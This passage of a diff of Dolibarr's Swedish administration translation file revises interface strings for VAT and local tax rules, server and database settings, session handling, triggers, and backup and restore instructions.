      Om säljaren och köparen är både i Europeiska gemenskapen och varor är transportrelaterade produkter (frakt, frakt, flygbolag) är standardmomsen 0. Denna regel är beroende av säljarens land - var god kontakta din revisor. Momsen ska betalas av köparen till tullkontoret i sitt land och inte till säljaren. Slut på regeln.
      Om säljaren och köparen är både i Europeiska gemenskapen och köparen inte är ett företag (med ett registrerat momsnumret inom gemenskapen), är mervärdesskattavgiften till säljarens landets mervärdesskattesats. Slut på regeln.
      Om säljaren och köparen är både i Europeiska gemenskapen och köparen är ett företag (med ett registrerat momsnummer inom gemenskapen), är momsen 0 som standard. Slut på regeln.
      I annat fall är den föreslagna standarden Försäljningsskatt = 0. Slut på regeln. -VATIsNotUsedDesc=Den föreslagna försäljningsskatten är som standard 0 som kan användas för fall som föreningar, individer eller småföretag. -VATIsUsedExampleFR=I Frankrike betyder det att företag eller organisationer har ett riktigt finanssystem (förenklad verklig eller normal verklig). Ett system där momsen deklareras. -VATIsNotUsedExampleFR=I Frankrike betyder det föreningar som inte är Försäljningsskatt deklarerade eller företag, organisationer eller liberala yrken som har valt mikroföretagets skattesystem (Försäljningsskatt i franchise) och betalat en franchise Försäkringsskatt utan någon momsdeklaration. Detta val kommer att visa referensen "Ej tillämplig Försäljningsskatt - art-293B av CGI" på fakturor. +BackToDictionaryList=Tillbaka till ordboken +TypeOfRevenueStamp=Typ av skattestämpel +VATManagement=Hantera moms +VATIsUsedDesc=Som standard när du skapar prospekt, faktura, order etc. följer momssatsen den aktiva standardregeln:
      Om säljaren inte är föremål för moms är momsen satt till 0. Slut på regeln.
      Om (säljarens land=köparens land) är momsen som standard lika med försäljningsskatten för produkten i säljarens land. Slut på regeln.
      Om säljaren och köparen båda finns inom EU och varor är transportrelaterat (frakt, flygfrakt, etc) är standardmomsen 0. Denna regel är beroende av säljarens land - var god kontakta din revisor. Momsen ska betalas av köparen till tullkontoret i sitt land och inte till säljaren. Slut på regeln.
      Om säljaren och köparen båda finns inom EU och köparen inte är ett företag (med ett registrerat momsnummer), är momsen densamma som momssatsen i säljarens land. Slut på regeln.
      Om säljaren och köparen båda finns in EU och köparen är ett företag (med ett registrerat momsnummer), är momsen 0 som standard. Slut på regeln.
      I annat fall är den föreslagna standarden moms=0. Slut på regeln. +VATIsNotUsedDesc=Den föreslagna momsen är som standard 0, men som kan användas för fall som föreningar, individer eller småföretagare. +VATIsUsedExampleFR=I Frankrike betyder det att företag eller organisationer har ett riktigt system som påminner om företag (förenklad verklig eller normal verklig). Ett system där momsen deklareras. +VATIsNotUsedExampleFR=I Frankrike betyder det föreningar som inte är momsskyldiga, eller företag, organisationer eller liberala yrken som har valt mikroföretagets skattesystem (försäljningsskatt i franchise) och betalat en franchise moms utan någon momsdeklaration. Detta val kommer att visa referensen "Ej tillämplig Försäljningsskatt - art-293B av CGI" på fakturor. ##### Local Taxes ##### TypeOfSaleTaxes=Typ av moms -LTRate=Betyg -LocalTax1IsNotUsed=Använd inte andra skatte -LocalTax1IsUsedDesc=Använd en andra typ av skatt (annan än den första) -LocalTax1IsNotUsedDesc=Använd inte annan typ av skatt (annan än den första) -LocalTax1Management=Andra typen av skatt +LTRate=Taxa +LocalTax1IsNotUsed=Använd inte andra momsen +LocalTax1IsUsedDesc=Använd en andra typ av moms (annan än den första) +LocalTax1IsNotUsedDesc=Använd inte annan typ av moms (annan än den första) +LocalTax1Management=Andra typen av moms LocalTax1IsUsedExample= LocalTax1IsNotUsedExample= -LocalTax2IsNotUsed=Använd inte tredje skatt -LocalTax2IsUsedDesc=Använd en tredje typ av skatt (annan än den första) -LocalTax2IsNotUsedDesc=Använd inte annan typ av skatt (annan än den första) -LocalTax2Management=Tredje typen av skatt +LocalTax2IsNotUsed=Använd inte tredje moms +LocalTax2IsUsedDesc=Använd en tredje typ av moms (annan än den första och andra) +LocalTax2IsNotUsedDesc=Använd inte annan typ av moms (annan än den första) +LocalTax2Management=Tredje typen av moms LocalTax2IsUsedExample= LocalTax2IsNotUsedExample= -LocalTax1ManagementES=RE Förvaltning -LocalTax1IsUsedDescES=RE-räntan som standard när du skapar prospekt, fakturor, order etc. följer aktiv standardregel:
      Om köparen inte utsätts för RE, RE som standard = 0. Slut på regeln.
      Om köparen utsätts för RE så är RE som standard. Slut på regeln.
      +LocalTax1ManagementES=RE hantering +LocalTax1IsUsedDescES=RE-taxan följer som standard när du skapar prospekt, fakturor, order etc. en aktiv standardregel:
      Om köparen inte utsätts för RE, RE som standard = 0. Slut på regeln.
      Om köparen utsätts för RE så är RE som standard. Slut på regeln.
      LocalTax1IsNotUsedDescES=Som standard föreslås RE är 0. Slut på regeln. -LocalTax1IsUsedExampleES=I Spanien är proffs förbehåll för vissa särskilda delar av den spanska IAE. -LocalTax1IsNotUsedExampleES=I Spanien de är professionella och samhällen och på vissa delar av den spanska IAE. -LocalTax2ManagementES=IRPF Management -LocalTax2IsUsedDescES=IRPF-räntan som standard när du skapar prospekt, fakturor, order etc. följer aktiv standardregel:
      Om säljaren inte utsätts för IRPF, då IRPF som standard = 0. Slut på regeln.
      Om säljaren utsätts för IRPF, är IRPF som standard. Slut på regeln.
      -LocalTax2IsNotUsedDescES=Som standard föreslås IRPF är 0. Slut på regeln. -LocalTax2IsUsedExampleES=I Spanien, frilansare och oberoende yrkesutövare som tillhandahåller tjänster och företag som har valt skattesystemet i moduler. -LocalTax2IsNotUsedExampleES=I Spanien är de företag som inte omfattas av skattesystem för moduler. -RevenueStampDesc="Skattstämpel" eller "inkomststämpel" är en fast skatt du per faktura (Det beror inte på fakturabeloppet). Det kan också vara en procentskatt men att använda den andra eller tredje typen av skatt är bättre för procentskatt eftersom skattefrimärken inte ger någon rapportering. Endast få länder använder denna typ av skatt. +LocalTax1IsUsedExampleES=I Spanien är professionella föremål för vissa särskilda delar av den spanska IAE. +LocalTax1IsNotUsedExampleES=I Spanien är professionella och sällskap föremål för vissa delar av den spanska IAE. +LocalTax2ManagementES=IRPF-hantering +LocalTax2IsUsedDescES=IRPF-taxan följer som standard när du skapar prospekt, fakturor, order etc. en aktiv standardregel:
      Om säljaren inte utsätts för IRPF, då är IRPF som standard = 0. Slut på regeln.
      Om säljaren utsätts för IRPF, är IRPF som standard. Slut på regeln.
      +LocalTax2IsNotUsedDescES=Som standard föreslås att IRPF är 0. Slut på regeln. +LocalTax2IsUsedExampleES=I Spanien är frilansare och oberoende professionella som tillhandahåller tjänster, och företag som har valt ett modulbaserat skattesystem. +LocalTax2IsNotUsedExampleES=I Spanien är de företag som inte omfattas av modulbaserat skattesystem. +RevenueStampDesc="Skattstämpel" eller "intäktsstämpel" är en fast skatt du betalar per faktura (det beror inte på fakturabeloppet). Det kan också vara en procentskatt men att använda den andra eller tredje typen av moms är bättre för procentskatt eftersom skattestämplar inte ger någon rapportering. Endast få länder använder denna typ av skatt. UseRevenueStamp=Använd en skattestämpel -UseRevenueStampExample=Skattstämpelns värde definieras som standard i inställningen av ordböcker (%s - %s - %s) +UseRevenueStampExample=Skattstämpelns värde definieras som standard i inställningen i ordböcker (%s - %s - %s) CalcLocaltax=Rapporter om lokala skatter -CalcLocaltax1=Försäljning - Inköp -CalcLocaltax1Desc=Lokala skatter rapporter beräknas med skillnaden mellan localtaxes försäljning och localtaxes inköp +CalcLocaltax1=Försäljning - inköp +CalcLocaltax1Desc=Lokala skatterapporter beräknas med skillnaden mellan lokal försäljningsskatt och lokal inköpsskatt CalcLocaltax2=Inköp -CalcLocaltax2Desc=Lokala skatter rapporter är summan av localtaxes inköp +CalcLocaltax2Desc=Lokala skatterapporter är summan av lokal inköpsskatt CalcLocaltax3=Försäljning -CalcLocaltax3Desc=Lokala skatter rapporter är summan av localtaxes försäljning +CalcLocaltax3Desc=Lokala skatter rapporter är summan av lokal försäljningsskatt NoLocalTaxXForThisCountry=Enligt skatteupplägget (se %s - %s - %s) behöver ditt land inte använda en sådan typ av skatt -LabelUsedByDefault=Etikett som används som standard om ingen översättning kan hittas för kod +LabelUsedByDefault=Etikett att använda som standard om ingen översättning kan hittas för kod LabelOnDocuments=Etikett på dokument -LabelOrTranslationKey=Etikett eller översättningstangent +LabelOrTranslationKey=Etikett eller översättningsnyckel ValueOfConstantKey=Värdet på en konfigurationskonstant -ConstantIsOn=Alternativ %s är på +ConstantIsOn=Alternativet %s är aktiverat NbOfDays=Antal dagar AtEndOfMonth=I slutet av månaden -CurrentNext=A given day in month +CurrentNext=En specifik dag i månaden Offset=Offset AlwaysActive=Alltid aktiv Upgrade=Uppgradera -MenuUpgrade=Uppgradera / Extend -AddExtensionThemeModuleOrOther=Installera / installera extern app / modul +MenuUpgrade=Uppgradera/utöka +AddExtensionThemeModuleOrOther=Installera extern app/modul WebServer=Webbserver -DocumentRootServer=Webbservers rotkatalog -DataRootServer=Datafiler katalog +DocumentRootServer=Webbservers rootkatalog +DataRootServer=Katalog för datafiler IP=IP Port=Port -VirtualServerName=Virtuell server namn +VirtualServerName=Namn på virtuell server OS=OS PhpWebLink=Webb-php länk Server=Server Database=Databas -DatabaseServer=Databas värd -DatabaseName=Databas namn -DatabasePort=Databas hamn -DatabaseUser=Databas användare -DatabasePassword=Databas lösenord +DatabaseServer=Databasvärd +DatabaseName=Databasnamn +DatabasePort=Databasport +DatabaseUser=Databasanvändare +DatabasePassword=Databaslösenord Tables=Tabeller -TableName=Tabell namn +TableName=Tabellnamn NbOfRecord=Antal poster Host=Server DriverType=Driver typ -SummarySystem=Systeminformation sammandrag -SummaryConst=Lista över alla Dolibarr inställning parametrar -MenuCompanySetup=Företag / Organisation -DefaultMenuManager= Standard Menu Manager -DefaultMenuSmartphoneManager=Smartphone menyhanteraren -Skin=Hud tema -DefaultSkin=Standard hud tema -MaxSizeList=Max längd för lista -DefaultMaxSizeList=Standard max längd för listor -DefaultMaxSizeShortList=Standard max längd för korta listor (dvs i kundkort) +SummarySystem=Sammandrag systeminformation +SummaryConst=Lista över alla inställningsparametrar +MenuCompanySetup=Företag/organisation +DefaultMenuManager= Standard menyhanterare +DefaultMenuSmartphoneManager=Menyhanterare för mobila enheter +Skin=Tema för utseende +DefaultSkin=Standardtema +MaxSizeList=Maxlängd för lista +DefaultMaxSizeList=Standard maxlängd för listor +DefaultMaxSizeShortList=Standard maxlängd för korta listor (exempelvis i kundkort) MessageOfDay=Dagens meddelande -MessageLogin=Inloggningssidan meddelande -LoginPage=Login sida +MessageLogin=Meddelande på inloggningssida +LoginPage=Inloggningssida BackgroundImageLogin=Bakgrundsbild -PermanentLeftSearchForm=Permanent sökformuläret på menyn till vänster +PermanentLeftSearchForm=Permanent sökformulär i menyn till vänster DefaultLanguage=Standardspråk -EnableMultilangInterface=Aktivera flerspråkig support för kund- eller leverantörsrelationer -EnableShowLogo=Visa företagslogotypen i menyn -CompanyInfo=Företag / Organisation -CompanyIds=Företag / Organisationsidentiteter +EnableMultilangInterface=Aktivera flerspråkigt stöd för kunder- eller leverantörer +EnableShowLogo=Visa logotyp i menyn +CompanyInfo=Företag/organisation +CompanyIds=Identitet för företag/organisation CompanyName=Namn CompanyAddress=Adress -CompanyZip=Zip -CompanyTown=Staden +CompanyZip=Postnummer +CompanyTown=Ort CompanyCountry=Land -CompanyCurrency=Viktigaste valuta -CompanyObject=Föremålet för bolagets verksamhet -IDCountry=ID-land -Logo=Logo -LogoDesc=Huvudlogotyp för företaget. Kommer att användas i genererade dokument (PDF, ...) -LogoSquarred=Logotyp (kvadrat) -LogoSquarredDesc=Måste vara en fyrkantig ikon (bredd = höjd). Den här logotypen kommer att användas som favoritikon eller annat behov som för den övre menyraden (om den inte är inaktiverad i skärmkonfigurationen). -DoNotSuggestPaymentMode=Pekar inte -NoActiveBankAccountDefined=Inga aktiva bankkonto definierade -OwnerOfBankAccount=Ägare till %s bankkonto -BankModuleNotActive=Bankkonton modulen inte aktiverad -ShowBugTrackLink=Visa länken "%s" -ShowBugTrackLinkDesc=Keep empty to not display this link, use value 'github' for the link to the Dolibarr project or define directly an url 'https://...' +CompanyCurrency=Huvudvaluta +CompanyObject=Företagets mål +IDCountry=Land ID +Logo=Logotyp +LogoDesc=Logotyp för företaget. Kommer att användas i dokument (PDF, ...) +LogoSquarred=Logotyp (kvadratisk) +LogoSquarredDesc=Måste vara fyrkantig (bredd = höjd). Den här logotypen kommer att användas som favicon eller annat som rör den övre menyraden (om den inte är inaktiverad). +DoNotSuggestPaymentMode=Föreslå inte +NoActiveBankAccountDefined=Inga aktivt bankkonto angivet +OwnerOfBankAccount=Innehavare till bankkontot %s +BankModuleNotActive=Modlen bankkonton inte aktiverad +ShowBugTrackLink=Visa länken %s +ShowBugTrackLinkDesc=Lämna tomt för att inte visa denna länk, använd värdet 'github' för länk till Dolibarr projektet eller ange en url direkt 'https://...' Alerts=Varningar -DelaysOfToleranceBeforeWarning=Displaying a warning alert for... -DelaysOfToleranceDesc=Ställ in fördröjningen innan en varningsikon %s visas på skärmen för det sena elementet. -Delays_MAIN_DELAY_ACTIONS_TODO=Planerade händelser (agendahändelser) inte slutförda +DelaysOfToleranceBeforeWarning=Visa en varning för... +DelaysOfToleranceDesc=Ange fördröjning innan en varningsikon %s visas på skärmen för det försenade elementet. +Delays_MAIN_DELAY_ACTIONS_TODO=Planerade händelser (dagordningshändelser) som inte är slutförda Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Projektet är inte stängt i tid Delays_MAIN_DELAY_TASKS_TODO=Planerad uppgift (projektuppgifter) inte slutförd Delays_MAIN_DELAY_ORDERS_TO_PROCESS=Order inte behandlad -Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Köporder inte behandlad -Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Förslaget är inte avslutat -Delays_MAIN_DELAY_PROPALS_TO_BILL=Förslag inte fakturerat -Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Service för att aktivera -Delays_MAIN_DELAY_RUNNING_SERVICES=Förfallitjänst -Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=Obetalda fakturor utan betalning -Delays_MAIN_DELAY_CUSTOMER_BILLS_UNPAYED=Obetalda kundfaktura -Delays_MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE=Väntar på bankavstämning +Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Inköpsorder inte behandlad +Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Offert inte avslutat +Delays_MAIN_DELAY_PROPALS_TO_BILL=Offert inte fakturerad +Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Tjänst att aktivera +Delays_MAIN_DELAY_RUNNING_SERVICES=Förfallen tjänst +Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=Obetald leverantörsfaktura +Delays_MAIN_DELAY_CUSTOMER_BILLS_UNPAYED=Obetald faktura +Delays_MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE=Inväntar bankavstämning Delays_MAIN_DELAY_MEMBERS=Försenad medlemsavgift -Delays_MAIN_DELAY_CHEQUES_TO_DEPOSIT=Kontrollera insättning inte gjort -Delays_MAIN_DELAY_EXPENSEREPORTS=Utläggsrapport att godkänna -Delays_MAIN_DELAY_HOLIDAYS=Lämna begäranden att godkänna -SetupDescription1=Innan du börjar använda Dolibarr måste vissa initialparametrar definieras och moduler aktiveras / konfigureras. +Delays_MAIN_DELAY_CHEQUES_TO_DEPOSIT=Checkinsättning inte gjord +Delays_MAIN_DELAY_EXPENSEREPORTS=Utgiftsrapport att godkänna +Delays_MAIN_DELAY_HOLIDAYS=Ledighetsansökan att godkänna +SetupDescription1=Innan du börjar använda Dolibarr måste vissa grundinställningar göras och moduler aktiveras/konfigureras. SetupDescription2=Följande två avsnitt är obligatoriska (de två första inmatningarna i inställningsmenyn): -SetupDescription3= %s -> %s

      Grundläggande parametrar som används för att anpassa standardbeteendet för din applikation (t.ex. för landsrelaterade funktioner). -SetupDescription4= %s -> %s

      Denna programvara är en serie med många moduler / applikationer. Modulerna relaterade till dina behov måste vara aktiverade och konfigurerade. Menyposter visas med aktiveringen av dessa moduler. +SetupDescription3= %s -> %s

      Grundläggande parametrar som används för att anpassa standardbeteendet (t.ex. för landsspecifika funktioner). +SetupDescription4= %s -> %s

      Denna programvara innehåller en serie av många moduler. Modulerna för just dina behov måste vara aktiverade och konfigurerade. Menyposter visas efter aktiveringen av dessa moduler. SetupDescription5=Andra inställningsmenyposter hanterar valfria parametrar. SetupDescriptionLink=%s - %s -SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription3b=Grundläggande inställningar för att anpassa standardbeteendet (t.ex. för landsspecifika funktioner). +SetupDescription4b=Denna programvara är en svit med många moduler/applikationer. Modulerna relaterade till dina behov måste aktiveras. Menyposter kommer att visas när dessa moduler aktiveras. AuditedSecurityEvents=Säkerhetshändelser som granskas -NoSecurityEventsAreAduited=Inga säkerhetshändelser granskas. Du kan aktivera dem från meny %s +NoSecurityEventsAreAduited=Inga säkerhetshändelser granskas. Du kan aktivera dem från menyn %s Audit=Säkerhetshändelser InfoDolibarr=Om Dolibarr -InfoBrowser=Om Browser +InfoBrowser=Om webbläsaren InfoOS=Om OS -InfoWebServer=Om webbserver +InfoWebServer=Om webbservern InfoDatabase=Om databasen InfoPHP=Om PHP -InfoPerf=Om föreställningar -InfoSecurity=Om säkerhet -BrowserName=Browser namn -BrowserOS=Browser OS -ListOfSecurityEvents=Förteckning över Dolibarr säkerhetshändelser -SecurityEventsPurged=Säkerhetshändelser renas -TrackableSecurityEvents=Trackable security events -LogEventDesc=Aktivera loggning för specifika säkerhetshändelser. Administratörer loggen via menyn %s - %s . Varning kan denna funktion generera en stor mängd data i databasen. -AreaForAdminOnly=Inställningsparametrar kan ställas in av endast administratörs användare . -SystemInfoDesc=System information diverse teknisk information får du i skrivskyddad läge och synlig för administratörer bara. -SystemAreaForAdminOnly=Det här området är endast tillgängligt för administratörsanvändare. Dolibarr användarbehörigheter kan inte ändra denna begränsning. -CompanyFundationDesc=Redigera informationen för ditt företag / din organisation. Klicka på knappen "%s" längst ner på sidan när du är klar. -AccountantDesc=Om du har en extern revisor / bokförare kan du redigera informationen här. +InfoPerf=Om prestandan +InfoSecurity=Om säkerheten +BrowserName=Webbläsarens namn +BrowserOS=Webbläsarens OS +ListOfSecurityEvents=Förteckning över säkerhetshändelser +SecurityEventsPurged=Säkerhetshändelser rensas +TrackableSecurityEvents=Spårbara säkerhetshändelser +LogEventDesc=Aktivera loggning för specifika säkerhetshändelser. Administratörer når loggen via menyn %s - %s. Varning! Denna funktion kan denna generera en stor mängd data i databasen. +AreaForAdminOnly=Inställningar kan ändras av administratörer enbart. +SystemInfoDesc=Systeminformation diverse teknisk information du får i skrivskyddat läge och som är synligt för administratörer enbart. +SystemAreaForAdminOnly=Det här området är endast tillgängligt för administratörer. Dolibarr användarrättigheter kan inte ändra denna begränsning. +CompanyFundationDesc=Redigera informationen för ditt företag/din organisation. Klicka på knappen %s längst ner på sidan när du är klar. +MoreNetworksAvailableWithModule=Fler sociala nätverk kan vara tillgängliga genom att aktivera modulen "Sociala nätverk". +AccountantDesc=Om du har en extern revisor/bokföringskonsult kan du ange informationen här. AccountantFileNumber=Bokföringskod -DisplayDesc=Parametrar som berör utseende och presentation av applikationen kan bli modifierade här. -AvailableModules=Tillgängliga app / moduler -ToActivateModule=För att aktivera moduler, gå på Setup-menyn (Hem-> Inställningar-> Modules). -SessionTimeOut=Time out för session -SessionExplanation=Detta nummer garanterar att sessionen aldrig upphör att gälla före denna fördröjning, om sessionen rengöringsmedel görs av Internal PHP-rengöringsmedel (och inget annat). Intern rengöringsprogram för PHP-session garanterar inte att sessionen upphör att gälla efter denna fördröjning. Det kommer att löpa ut efter denna fördröjning och när sessionen renare körs, så varje %s / %s åtkomst, men endast under åtkomst av andra sessioner (om värdet är 0, betyder det att rensning av session endast sker av en extern bearbeta).
      Obs! På vissa servrar med en extern sessionrensningsmekanism (cron under debian, ubuntu ...) kan sessionerna förstöras efter en period som definieras av en extern inställning, oavsett vad värdet som anges här är. -SessionsPurgedByExternalSystem=Sessionerna på denna server verkar ha blivit rensade av extern händelse (cron under debian, ubuntu...), var %s sekund ( Värdet är session.gc_maxlifetime), så att ändra värdet här har ingen effekt. Du måste be serveradministratören att ändra sessionstiden -TriggersAvailable=Tillgängliga triggers -TriggersDesc=Utlösare är filer som ändrar beteendet hos Dolibarr-arbetsflödet en gång kopierat till katalogen htdocs / core / triggers . De inser nya åtgärder, aktiverade på Dolibarr-evenemang (ny företagsskapande, fakturabekräftande, ...). -TriggerDisabledByName=Triggers i denna fil är inaktiverade av-NORUN suffixet i deras namn. -TriggerDisabledAsModuleDisabled=Triggers i denna fil är funktionshindrade modul %s är inaktiverad. -TriggerAlwaysActive=Triggers i denna fil är alltid aktiva, oavsett är det aktiverade Dolibarr moduler. -TriggerActiveAsModuleActive=Triggers i denna fil är verksamma som modul %s är aktiverat. +DisplayDesc=Parametrar som rör utseende och presentation kan ändras här. +AvailableModules=Tillgängliga moduler +ToActivateModule=För att aktivera moduler, gå till menyn Inställningar (Start -> Inställningar-> Moduler). +SessionTimeOut=Sessionen fick time-out +SessionExplanation=Detta värde garanterar att sessionen aldrig upphör att gälla före denna fördröjning, om sessionen rensas av en intern PHP-rensare och inget annat. Interna rensningar för PHP-sessioner garanterar inte att sessionen upphör att gälla efter denna fördröjning. Det kommer att löpa ut efter denna fördröjning och när sessionens rensare körs, så varje %s/%s åtkomst, men endast under åtkomst av andra sessioner (om värdet är 0, betyder det att rensning av session endast sker av en extern process).
      Obs! På vissa servers med extern sessionrensning (exempelvis cron under Debian, Ubuntu ...) kan sessionerna förstöras efter en period som anges av en extern inställning, oavsett vad värdet som anges här är. +SessionsPurgedByExternalSystem=Sessionerna på denna server verkar ha blivit rensade av en extern process (cron under Debian, Ubuntu...), var %s sekund (värdet är session.gc_maxlifetime), så att ändra värdet här har ingen effekt. Du måste be serveradministratören att ändra sessionstiden +TriggersAvailable=Tillgängliga utlösare +TriggersDesc=Utlösare är filer som ändrar beteendet i arbetsflödet väl kopierat till katalogen htdocs/core/triggers. De verkställer nya åtgärder baserade på händelser i systemet (nytt företag, bekräftad faktura, ...). +TriggerDisabledByName=Utlösare i denna fil är inaktiverade av -NORUN suffixet i deras namn. +TriggerDisabledAsModuleDisabled=Utlösare i denna fil är inaktiverade då modulen %s är inaktiverad. +TriggerAlwaysActive=Utlösare i denna fil är alltid aktiva, oavsett vilka moduler som är aktiverade. +TriggerActiveAsModuleActive=Utlösare i denna fil är aktiva då modulen %s är aktiv. GeneratedPasswordDesc=Välj den metod som ska användas för automatiskt genererade lösenord. -DictionaryDesc=Sätt in alla referensdata. Du kan lägga till dina värden till standardvärdet. -ConstDesc=Denna sida låter dig redigera (åsidosätta) parametrar som inte är tillgängliga på andra sidor. Dessa är oftast reserverade parametrar för utvecklare / avancerad felsökning. -MiscellaneousDesc=Alla andra säkerhetsrelaterade parametrar definieras här. -LimitsSetup=Gränser / Precision inställning -LimitsDesc=Du kan definiera gränser, precisioner och optimeringar som används av Dolibarr här -MAIN_MAX_DECIMALS_UNIT=Max. decimaler för enhetspriser -MAIN_MAX_DECIMALS_TOT=Max. decimaler för totala priser -MAIN_MAX_DECIMALS_SHOWN=Max. decimaler för priser som visas på skärmen . Lägg till en ellipsis ... efter denna parameter (t ex "2 ...") om du vill se " ... " suffixed till den avkortade priset. -MAIN_ROUNDING_RULE_TOT=Steg av avrundningsintervall (för länder där avrundning görs på något annat än bas 10. Till exempel, sätt 0,05 om avrundning görs med 0,05 steg) -UnitPriceOfProduct=Net priset per enhet för en produkt -TotalPriceAfterRounding=Totalpris (exkl / moms / inkl skatt) efter avrundning -ParameterActiveForNextInputOnly=Parameter effektiv för nästa inmatning -NoEventOrNoAuditSetup=Ingen säkerhetshändelse har loggats. Detta är normalt om Audit inte har aktiverats på sidan "Inställning - Säkerhet - Händelser". +DictionaryDesc=Ange all referensdata. Du kan lägga till dina värden i standardvärdet. +ConstDesc=Denna sida låter dig redigera (åsidosätta) inställningar som inte är tillgängliga på andra sidor. Dessa är oftast reserverade för utvecklare/avancerad felsökning. +MiscellaneousOptions=Diverse alternativ +MiscellaneousDesc=Alla andra säkerhetsrelaterade inställningar anges här. +LimitsSetup=Begränsningar/precisionsinställningar +LimitsDesc=Du kan ange begränsningar, precisioner och optimeringar som används av Dolibarr här +MAIN_MAX_DECIMALS_UNIT=Max decimaler för enhetspriser +MAIN_MAX_DECIMALS_TOT=Max decimaler för totala priset +MAIN_MAX_DECIMALS_SHOWN=Max decimaler för priser som visas på skärmen. Lägg till en ellips ... efter denna parameter (t ex "2 ...") om du vill att ... ska visas efter det avkortade priset. +MAIN_ROUNDING_RULE_TOT=Steg för avrundningsintervall (för länder där avrundning görs på någon annat än bas 10. Till exempel, anger du 0,05 om avrundning görs med 0,05 steg) +UnitPriceOfProduct=Nettopris per enhet för en produkt +TotalPriceAfterRounding=Totalpris (exkl/inkl moms) efter avrundning +ParameterActiveForNextInputOnly=Inställning verkställs för nästa inmatning enbart +NoEventOrNoAuditSetup=Ingen säkerhetshändelse har loggats. Detta är normalt om granskning inte har aktiverats på sidan "Inställningar - Säkerhet - Händelser". NoEventFoundWithCriteria=Inga säkerhetshändelser har hittats för dessa sökkriterier. SeeLocalSendMailSetup=Se din lokala sendmail inställning -BackupDesc=En komplett backup av en Dolibarr-installation kräver två steg. -BackupDesc2=Säkerhetskopiera innehållet i katalogen "dokument" ( %s ) som innehåller alla uppladdade och genererade filer. Detta inkluderar också alla dumpfiler som genererades i steg 1. Den här åtgärden kan ta flera minuter. -BackupDesc3=Säkerhetskopiera strukturen och innehållet i din databas ( %s ) till en dumpfil. För detta kan du använda följande assistent. -BackupDescX=Den arkiverade katalogen ska lagras på ett säkert ställe. -BackupDescY=Den genererade dumpfilen bör förvaras på ett säkert ställe. -BackupPHPWarning=Säkerhetskopiering kan inte garanteras med den här metoden. Föregående rekommenderas. -RestoreDesc=För att återställa en Dolibarr-säkerhetskopiering krävs två steg. -RestoreDesc2=Återställ säkerhetskopieringsfilen (t.ex. zip-filen) i katalogen "Dokument" till en ny Dolibarr-installation eller till den här aktuella dokumentkatalogen ( %s ). -RestoreDesc3=Återställ databasstrukturen och data från en säkerhetskopieringsdumpfil till databasen för den nya Dolibarr-installationen eller i databasen för den aktuella installationen ( %s ). Varning, när återställningen är klar måste du använda ett inloggnings / lösenord som existerade från backuptid / installation för att ansluta igen.
      För att återställa en backup-databas till den här nuvarande installationen kan du följa den här assistenten. +BackupDesc=En komplett säkerhetskopia av installationen kräver två steg. +BackupDesc2=Säkerhetskopiera innehållet i katalogen "documents" (%s) som innehåller alla uppladdade och genererade filer. Detta inkluderar också alla dumpfiler som genererades i steg 1. Den här åtgärden kan ta flera minuter. +BackupDesc3=Säkerhetskopiera strukturen och innehållet i din databas (%s) till en dumpfil. För detta kan du använda följande assistent. +BackupDescX=Den arkiverade katalogen bör lagras på ett säkert ställe. +BackupDescY=Den genererade dumpfilen bör lagras på ett säkert ställe. +BackupPHPWarning=Säkerhetskopiering kan inte garanteras med denna metod. Föregående rekommenderas. +RestoreDesc=För att återställa en säkerhetskopia krävs två steg. +RestoreDesc2=Återställ säkerhetskopian (t.ex. zip-filen) i katalogen "documents" till en ny installation eller till denna aktuella katalog (%s). +RestoreDesc3=Återställ databasstrukturen och data från en dumpfil till databasen för den nya installationen eller i databasen aktuell installation (%s). Varning! När återställningen är klar måste du använda ett inloggningsnamn/lösenord som existerade från tiden säkerhetskopian togs!
      För att återställa en säkerhetskopierad databas till den här installationen kan du använda den här assistenten. RestoreMySQL=MySQL import ForcedToByAModule=Denna regel tvingas %s av en aktiverad modul -ValueIsForcedBySystem=Detta värde tvingas av systemet. Du kan inte ändra det. -PreviousDumpFiles=Befintliga säkerhetskopieringsfiler +ValueIsForcedBySystem=Detta värde är påtvingat av systemet. Du kan inte ändra det. +PreviousDumpFiles=Befintliga säkerhetskopior PreviousArchiveFiles=Befintliga arkivfiler WeekStartOnDay=Första dagen i veckan -RunningUpdateProcessMayBeRequired=Att köra uppgraderingsprocessen verkar vara nödvändigt (Programversion %s skiljer sig från databasversionen %s) -YouMustRunCommandFromCommandLineAfterLoginToUser=Du måste köra det här kommandot från kommandoraden efter login till ett skal med användare %s. +RunningUpdateProcessMayBeRequired=Att köra uppgraderingen verkar vara nödvändigt (programversion %s skiljer sig från databasversionen %s) +YouMustRunCommandFromCommandLineAfterLoginToUser=Du måste köra det här kommandot från kommandoraden efter inloggning till ett skal med användare %s eller så får du lägga till -W i slutet av kommandot för att ange %s lösenord. YourPHPDoesNotHaveSSLSupport=SSL-funktioner inte är tillgängliga i din PHP -DownloadMoreSkins=Mer skinn att ladda ner -SimpleNumRefModelDesc=Returnerar referensnumret i formatet %syymm-nnnn där yy är året, mm är månaden och nnnn är ett sekventiellt automatiskt ökande nummer utan återställning -SimpleNumRefNoDateModelDesc=Returnerar referensnumret i formatet %s-nnnn där nnnn är ett sekventiellt automatiskt inkrementeringsnummer utan återställning +DownloadMoreSkins=Fler utseenden att ladda ner +SimpleNumRefModelDesc=Ger referensnumret i formatet %syymm-nnnn där yy är år, mm är månad och nnnn är ett löpnummer utan återställning +SimpleRefNumRefModelDesc=Ger ett referensnummer i formatet n, där n är en sekventiellt löpnummer utan återställning +AdvancedNumRefModelDesc=Ger ett referensnummer i formatet %syymm-nnnn där yy är år, mm är månad och nnnn är ett sekventiellt löpnummer utan återställning +SimpleNumRefNoDateModelDesc=Ger referensnumret i formatet %s-nnnn där nnnn är ett löpnummer utan återställning ShowProfIdInAddress=Visa professionellt ID med adresser 